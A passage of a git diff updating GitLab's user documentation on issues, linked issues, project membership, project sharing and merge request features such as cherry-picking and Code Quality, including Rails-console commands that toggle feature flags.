issues and view them all together for sharing and -collaboration with your team. - -### Related issues - -You can mark two issues as related, so that when viewing one, the other is always -listed in its [Related Issues](related_issues.md) section. This can help display important -context, such as past work, dependencies, or duplicates. - -Users of [GitLab Premium](https://about.gitlab.com/pricing/) or higher can -also mark issues as blocking or blocked by another issue. - -### Crosslinking issues - -You can [cross-link issues](crosslinking_issues.md) by referencing an issue from another -issue or merge request by including its URL or ID. The referenced issue displays a -message in the Activity stream about the reference, with a link to the other issue or MR. - -### Similar issues - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22866) in GitLab 11.6. - -To prevent duplication of issues for the same topic, GitLab searches for similar issues -when new issues are being created. - -As you type in the title field of the **New Issue** page, GitLab searches titles and descriptions -across all issues to in the current project. Only issues you have access to are returned. -Up to five similar issues, sorted by most recently updated, are displayed below the title box. -[GraphQL](../../../api/graphql/index.md) must be enabled to use this feature. - - - -### Health status **(ULTIMATE)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab Ultimate 12.10. -> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab Ultimate 13.4 and later. -> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab Ultimate 13.6. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7. - -To help you track issue statuses, you can assign a status to each issue. -This marks issues as progressing as planned or needs attention to keep on schedule: - -- **On track** (green) -- **Needs attention** (amber) -- **At risk** (red) - - - -After an issue is closed, its health status can't be edited and the "Edit" button becomes disabled -until the issue is reopened. - -You can then see issue statuses in the [issue list](#issues-list) and the -[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree). - -## Other Issue actions +## Related topics +- [Create issues](managing_issues.md#create-a-new-issue) - [Create an issue from a template](../../project/description_templates.md#use-the-templates) +- [Move issues](managing_issues.md#moving-issues) +- [Close issues](managing_issues.md#closing-issues) +- [Delete issues](managing_issues.md#deleting-issues) +- [Promote issues](managing_issues.md#promote-an-issue-to-an-epic) - [Set a due date](due_dates.md) -- [Bulk edit issues](../bulk_editing.md) - From the Issues List, select multiple issues - in order to change their status, assignee, milestone, or labels in bulk. - [Import issues](csv_import.md) - [Export issues](csv_export.md) +- [Upload designs to issues](design_management.md) +- [Linked issues](related_issues.md) +- [Cross-link issues](crosslinking_issues.md) +- [Bulk edit issues](../bulk_editing.md) +- [Sort issue lists](sorting_issue_lists.md) +- [Search for issues](../../search/index.md#filtering-issue-and-merge-request-lists) +- [Epics](../../group/epics/index.md) +- [Issue Boards](../issue_board.md) - [Issues API](../../../api/issues.md) -- Configure an [external issue tracker](../../../integration/external-issue-tracker.md) - such as Jira, Redmine, Bugzilla, or EWM. - -## Enable or disable cached issue count **(FREE SELF)** - -Cached issue count in the left sidebar is under development and not ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable it. - -To disable it: - -```ruby -Feature.disable(:cached_sidebar_open_issues_count) -``` - -To enable it: - -```ruby -Feature.enable(:cached_sidebar_open_issues_count) -``` +- [Configure an external issue tracker](../../../integration/external-issue-tracker.md) +- [Parts of an issue](issue_data_and_actions.md) diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md index 90c918792d7..2963555869c 100644 --- a/doc/user/project/issues/issue_data_and_actions.md +++ b/doc/user/project/issues/issue_data_and_actions.md @@ -39,7 +39,7 @@ The numbers in the image correspond to the following features: - **15.** [Edit](#edit) - **16.** [Description](#description) - **17.** [Mentions](#mentions) -- **18.** [Related Issues](#related-issues) +- **18.** [Linked Issues](#linked-issues) - **19.** [Related Merge Requests](#related-merge-requests) - **20.** [Award emoji](#award-emoji) - **21.** [Show all activity](#show-all-activity) @@ -205,10 +205,10 @@ in a different color, which allows you to quickly see which comments involve you Avoid mentioning `@all` in issues and merge requests, as it sends an email notification to all the members of that project's group. This might be interpreted as spam. -### Related Issues +### Linked Issues -Issues that were mentioned as [related issues](related_issues.md) are listed here. -You can also click the `+` to add more related issues. +Issues that were mentioned as [linked issues](related_issues.md) are listed here. +You can also click the `+` to add more linked issues. ### Related Merge Requests diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index cfb22881431..dafc0e6ba02 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -144,7 +144,7 @@ Follow these examples to form your new issue URL with prefilled fields. - For a new issue in the GitLab Community Edition project with a pre-filled title, a pre-filled description, and the confidential flag set, the URL would be `https://gitlab.com/gitlab-org/gitlab-foss/-/issues/new?issue[title]=Validate%20new%20concept&issue[description]=Research%20idea&issue[confidential]=true` -## Moving Issues +## Moving issues Moving an issue copies it to the target project, and closes it in the originating project. The original issue is not deleted. A system note, which indicates @@ -154,7 +154,7 @@ The "Move issue" button is at the bottom of the right-sidebar when viewing the i  -### Moving Issues in Bulk +### Moving issues in bulk **(FREE SELF)** If you have advanced technical skills you can also bulk move all the issues from one project to another in the rails console. The below script moves all issues @@ -199,7 +199,7 @@ can be closed automatically when the commit reaches the project's default branch If a commit message or merge request description contains text matching a [defined pattern](#default-closing-pattern), all issues referenced in the matched text are closed. This happens when the commit -is pushed to a project's [**default** branch](../repository/branches/index.md#default-branch), +is pushed to a project's [**default** branch](../repository/branches/default.md), or when a commit or merge request is merged into it. For example, if `Closes #4, #6, Related to #5` is included in a Merge Request @@ -315,3 +315,44 @@ To add an issue to an [iteration](../../group/iterations/index.md): You can also use the `/iteration` [quick action](../quick_actions.md#issues-merge-requests-and-epics) in a comment or description field. + +## Real-time sidebar **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3. + +Assignees in the sidebar are updated in real time. This feature is **disabled by default**. +To enable it, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html). + +## Similar issues + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22866) in GitLab 11.6. + +To prevent duplication of issues for the same topic, GitLab searches for similar issues +when new issues are being created. + +As you type in the title field of the **New Issue** page, GitLab searches titles and descriptions +across all issues to in the current project. Only issues you have access to are returned. +Up to five similar issues, sorted by most recently updated, are displayed below the title box. +[GraphQL](../../../api/graphql/index.md) must be enabled to use this feature. + + + +## Health status **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab Ultimate 12.10. +> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab Ultimate 13.4 and later. +> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab Ultimate 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7. + +To help you track issue statuses, you can assign a status to each issue. +This marks issues as progressing as planned or needs attention to keep on schedule: + +- On track (green) +- Needs attention (amber) +- At risk (red) + +After an issue is closed, its health status can't be edited and the **Edit** button becomes disabled +until the issue is reopened. + +You can then see issue statuses in the issues list and the +[epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree). diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md index 91c26d49532..e4972181a5a 100644 --- a/doc/user/project/issues/related_issues.md +++ b/doc/user/project/issues/related_issues.md @@ -4,67 +4,63 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Related issues **(FREE)** +# Linked issues **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1797) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.4. -> - The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4. +> The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4. -Related issues are a bi-directional relationship between any two issues -and appear in a block below the issue description. Issues can be across groups -and projects. +Linked issues are a bi-directional relationship between any two issues and appear in a block below +the issue description. Issues can be across groups and projects. -You can set any issue as: - -- Related to another issue -- Blocking another issue **(STARTER)** -- Blocked by another issue **(STARTER)** - -The relationship only shows up in the UI if the user can see both issues. - -When you try to close an issue that has open blockers, a warning is displayed. +The relationship only shows up in the UI if the user can see both issues. When you try to close an +issue that has open blockers, a warning is displayed. NOTE: -To manage related issues through our API, visit the [issue links API documentation](../../../api/issue_links.md). +To manage linked issues through our API, visit the [issue links API documentation](../../../api/issue_links.md). -## Adding a related issue +## Add a linked issue -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2035) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. -> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/34239) to warn when attempting to close an issue that is blocked by others in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2035) in GitLab 12.8. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/34239) to warn when attempting to close an issue that is blocked by others in GitLab 13.0. > When you try to close an issue with open blockers, you see a warning that you can dismiss. -1. Relate one issue to another by clicking the related issues "+" button -in the header of the related issue block. +1. Link one issue to another by selecting the add linked issue button (**{plus}**) in the + **Linked issues** section of an issue. -1. Input the issue reference number or paste in the full URL of the issue. +1. Select the relationship the between the two issues. Either: + - **relates to** + - **blocks** **(PREMIUM)** + - **is blocked by** **(PREMIUM)** +1. Input the issue number or paste in the full URL of the issue. -1. **(STARTER)** Select whether the current issue relates to, blocks, or is blocked by the issues being entered. +  -  + Issues of the same project can be specified just by the reference number. + Issues from a different project require additional information like the + group and the project name. For example: - Issues of the same project can be specified just by the reference number. - Issues from a different project require additional information like the - group and the project name. For example: + - The same project: `#44` + - The same group: `project#44` + - Different group: `group/project#44` - - same project: `#44` - - same group: `project#44` - - different group: `group/project#44` + Valid references are added to a temporary list that you can review. - Valid references are added to a temporary list that you can review. +1. When you have added all the linked issues, select **Add**. -1. When you have added all the related issues, click **Add** to submit. - -When you have finished adding all related issues, you can see +When you have finished adding all linked issues, you can see them categorized so their relationships can be better understood visually.  -## Removing a related issue +You can also add a linked issue from a commit message or the description in another issue or MR. +[Learn more about crosslinking issues](crosslinking_issues.md). + +## Remove a linked issue -In the related issues block, click the "x" icon on the right-side of each issue -token that you wish to remove. +In the **Linked issues** section of an issue, click the remove button (**{close}**) on the +right-side of each issue token to remove. -Due to the bi-directional relationship, it no longer appears in either issue. +Due to the bi-directional relationship, the relationship no longer appears in either issue.  -Please access our [permissions](../../permissions.md) page for more information. +Access our [permissions](../../permissions.md) page for more information. diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md index 3a393b18579..97a790c2527 100644 --- a/doc/user/project/issues/sorting_issue_lists.md +++ b/doc/user/project/issues/sorting_issue_lists.md @@ -24,6 +24,12 @@ For sorting by issue priority, see [Label Priority](../labels.md#label-priority) In group and project issue lists, it is also possible to order issues manually, similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list). +## Sorting by popularity + +When you select sorting by **Popularity**, the issue order changes to sort descending by the +number of upvotes ([awarded](../../award_emojis.md) "thumbs up" emoji) +on each issue. You can use this to identify issues that are in high demand. + ## Manual sorting > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62178) in GitLab 12.2. diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md index c0a66343a88..fd5045f2e93 100644 --- a/doc/user/project/labels.md +++ b/doc/user/project/labels.md @@ -162,7 +162,7 @@ Scoped labels allow teams to use the label feature to annotate issues, merge req and epics with mutually exclusive labels. This can enable more complicated workflows by preventing certain labels from being used together. -A label is scoped when it uses a special double-colon (`::`) syntax in the label’s +A label is scoped when it uses a special double-colon (`::`) syntax in the label's title, for example:  diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index 057c2930706..2993849e0e6 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -78,7 +78,8 @@ want to add.  Select the user and the [permission level](../../permissions.md) -that you'd like to give the user. Note that you can select more than one user. +that you'd like to give the user. You can add more than one user at a time. +The Owner role can only be assigned at the group level.  @@ -108,6 +109,9 @@ had on the project you imported from are retained. ## Invite people using their e-mail address +NOTE: +In GitLab 13.11, you can [replace this form with a modal window](#add-a-member-modal-window). + If a user you want to give access to doesn't have an account on your GitLab instance, you can invite them just by typing their e-mail address in the user search field. @@ -134,6 +138,46 @@ GitLab account using the same e-mail address the invitation was sent to. NOTE: Unaccepted invites are automatically deleted after 90 days. +### Add a member modal window + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11. +> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - Replaces the existing form with buttons to open a modal window. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-modal-window). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +In GitLab 13.11, you can optionally replace the form to add a member with a modal window. +To add a member after enabling this feature: + +1. Go to your project's page. +1. In the left sidebar, go to **Members**, and then select **Invite members**. +1. Enter an email address, and select a role permission for this user. +1. (Optional) Select an **Access expiration date**. +1. Select **Invite**. + +### Enable or disable modal window **(FREE SELF)** + +The modal window for adding a member is under development and is ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:invite_members_group_modal) +``` + +To disable it: + +```ruby +Feature.disable(:invite_members_group_modal) +``` + ## Project membership and requesting access Project owners can : diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index 8ca403783cb..8338c17f4ba 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -17,6 +17,9 @@ members. ## Sharing a project with a group of users +NOTE: +In GitLab 13.11, you can [replace this form with a modal window](#share-a-project-modal-window). + The primary mechanism to give a group of users, say 'Engineering', access to a project, say 'Project Acme', in GitLab is to make the 'Engineering' group the owner of 'Project Acme'. But what if 'Project Acme' already belongs to another group, say 'Open Source'? @@ -48,6 +51,46 @@ Note that you can only share a project with: Administrators are able to share projects with any group in the system. +### Share a project modal window + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11. +> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - Replaces the existing form with buttons to open a modal window. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-modal-window). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +In GitLab 13.11, you can optionally replace the sharing form with a modal window. +To share a project after enabling this feature: + +1. Go to your project's page. +1. In the left sidebar, go to **Members**, and then select **Invite a group**. +1. Select a group, and select a **Max access level**. +1. (Optional) Select an **Access expiration date**. +1. Select **Invite**. + +### Enable or disable modal window **(FREE SELF)** + +The modal window for sharing a project is under development and is ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:invite_members_group_modal) +``` + +To disable it: + +```ruby +Feature.disable(:invite_members_group_modal) +``` + ## Maximum access level In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') only have 'Developer' access to 'Project Acme'. diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md index c518113d3dd..09770bd447d 100644 --- a/doc/user/project/merge_requests/accessibility_testing.md +++ b/doc/user/project/merge_requests/accessibility_testing.md @@ -57,7 +57,7 @@ include: creates an `a11y` job in your CI/CD pipeline, runs Pa11y against the web pages defined in `a11y_urls`, and builds an HTML report for each. -The report for each URL is saved as an artifact that can be [viewed directly in your browser](../../../ci/pipelines/job_artifacts.md#browsing-artifacts). +The report for each URL is saved as an artifact that can be [viewed directly in your browser](../../../ci/pipelines/job_artifacts.md#download-job-artifacts). A single `gl-accessibility.json` artifact is created and saved along with the individual HTML reports. It includes report data for all URLs scanned. diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md index 7a869ed071a..76913351283 100644 --- a/doc/user/project/merge_requests/browser_performance_testing.md +++ b/doc/user/project/merge_requests/browser_performance_testing.md @@ -40,7 +40,7 @@ Consider the following workflow: ## How browser performance testing works First, define a job in your `.gitlab-ci.yml` file that generates the -[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance). +[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance). GitLab then checks this report, compares key performance metrics for each page between the source and target branches, and shows the information in the merge request. @@ -88,7 +88,7 @@ The example uses a CI/CD template that is included in all GitLab installations s or older, you must [add the configuration manually](#gitlab-versions-123-and-older) The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance), -and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance) +and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance) that you can later download and analyze. This implementation always takes the latest Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled, you can view the report directly in your browser. diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md index 4c9a6557320..f531cd52af1 100644 --- a/doc/user/project/merge_requests/cherry_pick_changes.md +++ b/doc/user/project/merge_requests/cherry_pick_changes.md @@ -9,7 +9,7 @@ type: reference, concepts GitLab implements Git's powerful feature to [cherry-pick any commit](https://git-scm.com/docs/git-cherry-pick "Git cherry-pick documentation") -with introducing a **Cherry-pick** button in merge requests and commit details. +with a **Cherry-pick** button in merge requests and commit details. ## Cherry-picking a merge request @@ -60,6 +60,46 @@ mainline: git cherry-pick -m 2 7a39eb0 ``` +### Cherry-pick into a project + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21268) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cherry-picking-into-a-project). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can use the GitLab UI to cherry-pick merge requests into a project, even if the +merge request is from a fork: + +1. In the merge request's secondary menu, click **Commits** to display the commit details page. +1. Click on the **Options** dropdown and select **Cherry-pick** to show the cherry-pick modal. +1. In **Pick into project** and **Pick into branch**, select the destination project and branch: +  +1. (Optional) Select **Start a new merge request** if you're ready to create a merge request. +1. Click **Cherry-pick**. + +### Enable or disable cherry-picking into a project **(FREE SELF)** + +Cherry-picking into a project is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:pick_into_project) +``` + +To disable it: + +```ruby +Feature.disable(:pick_into_project) +``` + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index 42c2547a618..0fe1b9801cc 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -15,7 +15,7 @@ source code quality using GitLab Code Quality. Code Quality: -- Uses [Code Climate Engines](https://codeclimate.com), which are +- Uses [Engines](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are free and open source. Code Quality does not require a Code Climate subscription. - Runs in [pipelines](../../../ci/pipelines/index.md) using a Docker image built in the @@ -33,7 +33,7 @@ Code Quality: Going a step further, GitLab can show the Code Quality report right in the merge request widget area if a report from the target branch is available to compare to: - + Watch a quick walkthrough of Code Quality in action: @@ -49,6 +49,26 @@ For one customer, the auditor found that having Code Quality, SAST, and Containe See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). +## Code Quality in diff view **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.11. +> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. + +Changes to files in merge requests can cause Code Quality to fall if merged. In these cases, +an indicator is displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view. For example: + + + +To enable this feature, a GitLab administrator can run the following in a +[Rails console](../../../administration/operations/rails_console.md): + +```ruby +# For the instance +Feature.enable(:codequality_mr_diff) +# For a single project +Feature.enable(:codequality_mr_diff, Project.find(<project id>)) +``` + ## Use cases For instance, consider the following workflow: @@ -85,7 +105,7 @@ include: The above example creates a `code_quality` job in your CI/CD pipeline which scans your source code for code quality issues. The report is saved as a -[Code Quality report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality) +[Code Quality report artifact](../../../ci/yaml/README.md#artifactsreportscodequality) that you can later download and analyze. It's also possible to override the URL to the Code Quality image by @@ -242,12 +262,11 @@ to learn more about how to define one. To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable. This can be done: -- For the whole project, [in the project settings](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui) - or [CI/CD configuration](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui). +- For [the whole project](../../../ci/variables/README.md#custom-cicd-variables). - For a single pipeline run: 1. Go to **CI/CD > Pipelines** - 1. Click **Run Pipeline** + 1. Click **Run pipeline** 1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value. ### Using with merge request pipelines @@ -309,7 +328,7 @@ do this: 1. Define a job in your `.gitlab-ci.yml` file that generates the [Code Quality report - artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality). + artifact](../../../ci/yaml/README.md#artifactsreportscodequality). 1. Configure your tool to generate the Code Quality report artifact as a JSON file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). @@ -347,7 +366,11 @@ NOTE: Although the Code Climate spec supports more properties, those are ignored by GitLab. -## Code Quality reports +## Code Quality reports **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab Premium 12.9. + + After the Code Quality job completes: @@ -355,7 +378,7 @@ After the Code Quality job completes: The Code Quality widget in the merge request compares the reports from the base and head of the branch, then lists any violations that are resolved or created when the branch is merged. - The full JSON report is available as a - [downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts) + [downloadable artifact](../../../ci/pipelines/job_artifacts.md#download-job-artifacts) for the `code_quality` job. - The full list of code quality violations generated by a pipeline is shown in the Code Quality tab of the Pipeline Details page. **(PREMIUM)** @@ -552,3 +575,8 @@ plugins: enabled: true channel: rubocop-0-67 ``` + +### No Code Quality appears on merge requests when using custom tool + +If your merge requests do not show any code quality changes when using a custom tool, +ensure that the line property is an `integer`. diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index 58e80504212..3a5a581198b 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -172,6 +172,9 @@ create a merge request from your fork to contribute back to the main project: 1. In the left menu, go to **Merge Requests**, and click **New Merge Request**. 1. In the **Source branch** drop-down list box, select your branch in your forked repository as the source branch. 1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch. + You can set a [default target project](#set-the-default-target-project) to + change the default target branch (which can be useful when working with a + forked project). 1. After entering the credentials, click **Compare branches and continue** to compare your local changes to the upstream repository. 1. Assign a user to review your changes, and click **Submit merge request**. @@ -183,6 +186,24 @@ fork from its upstream project in the **Settings > Advanced Settings** section b For further details, [see the forking workflow documentation](../repository/forking_workflow.md). +## Set the default target project + +Merge requests have a source and a target project which are the same, unless +forking is involved. Creating a fork of the project can cause either of these +scenarios when you create a new merge request: + +- You target an upstream project (the project you forked, and the default + option). +- You target your own fork. + +If you want to have merge requests from a fork by default target your own fork +(instead of the upstream project), you can change the default by: + +1. In your project, go to **Settings > General > Merge requests**. +1. In the **Target project** section, select the option you want to use for + your default target project. +1. Select **Save changes**. + ## New merge request by email **(FREE SELF)** _This feature needs [incoming email](../../../administration/incoming_email.md) diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md index f4843b96c99..f973d9220f2 100644 --- a/doc/user/project/merge_requests/csv_export.md +++ b/doc/user/project/merge_requests/csv_export.md @@ -41,5 +41,5 @@ The following table shows what attributes will be present in the CSV. ## Limitations -- Export merge requests to CSV is not available at the Group’s merge request list. +- Export merge requests to CSV is not available at the Group's merge request list. - As the merge request CSV file is sent as an email attachment, the size is limited to 15MB to ensure successful delivery across a range of email providers. If you need to minimize the size of the file, you can narrow the search before export. For example, you can set up exports of open and closed merge requests in separate files. diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index f25228729cf..1bb333dcb14 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -206,10 +206,10 @@ is set for deletion, the merge request widget displays the ### Branch retargeting on merge **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320895) on GitLab 13.10. -> - It's recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [disable it](#enable-or-disable-branch-retargeting-on-merge). **(FREE SELF)** +> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320895) in GitLab 13.10. +> - Recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [disable it](#enable-or-disable-branch-retargeting-on-merge). **(FREE SELF)** In specific circumstances, GitLab can retarget the destination branch of open merge request, if the destination branch merges while the merge request is @@ -230,8 +230,6 @@ GitLab retargets up to four merge requests when their target branch is merged in `master`, so you don't need to perform this operation manually. Merge requests from forks are not retargeted. -The feature today works only one a merge. Clicking the `Remove source branch` button -after the merge request was merged will not automatically retarget merge request. The feature today works only on merge. Clicking the **Remove source branch** button after the merge request was merged will not automatically retarget a merge request. This improvement is [tracked as a follow-up](https://gitlab.com/gitlab-org/gitlab/-/issues/321559). diff --git a/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png b/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png Binary files differnew file mode 100644 index 00000000000..ada036255f2 --- /dev/null +++ b/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png diff --git a/doc/user/project/merge_requests/img/code_quality.png b/doc/user/project/merge_requests/img/code_quality.png Binary files differdeleted file mode 100644 index 1e7dd64baff..00000000000 --- a/doc/user/project/merge_requests/img/code_quality.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png Binary files differnew file mode 100644 index 00000000000..0fcdc252735 --- /dev/null +++ b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png diff --git a/doc/user/project/merge_requests/img/code_quality_report_13_11.png b/doc/user/project/merge_requests/img/code_quality_report_13_11.png Binary files differnew file mode 100644 index 00000000000..36341548328 --- /dev/null +++ b/doc/user/project/merge_requests/img/code_quality_report_13_11.png diff --git a/doc/user/project/merge_requests/img/code_quality_widget_13_11.png b/doc/user/project/merge_requests/img/code_quality_widget_13_11.png Binary files differnew file mode 100644 index 00000000000..57978a0ed96 --- /dev/null +++ b/doc/user/project/merge_requests/img/code_quality_widget_13_11.png diff --git a/doc/user/project/merge_requests/img/commit_nav_v13_11.png b/doc/user/project/merge_requests/img/commit_nav_v13_11.png Binary files differnew file mode 100644 index 00000000000..a9bc8fa6bee --- /dev/null +++ b/doc/user/project/merge_requests/img/commit_nav_v13_11.png diff --git a/doc/user/project/merge_requests/img/commit_nav_v13_4.png b/doc/user/project/merge_requests/img/commit_nav_v13_4.png Binary files differdeleted file mode 100644 index 0ae6ce32693..00000000000 --- a/doc/user/project/merge_requests/img/commit_nav_v13_4.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png b/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png Binary files differdeleted file mode 100644 index 9284e58f456..00000000000 --- a/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png b/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png Binary files differnew file mode 100644 index 00000000000..52c715840f1 --- /dev/null +++ b/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png diff --git a/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png b/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png Binary files differindex b1c2e147134..a6636f0bc7f 100644 --- a/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png +++ 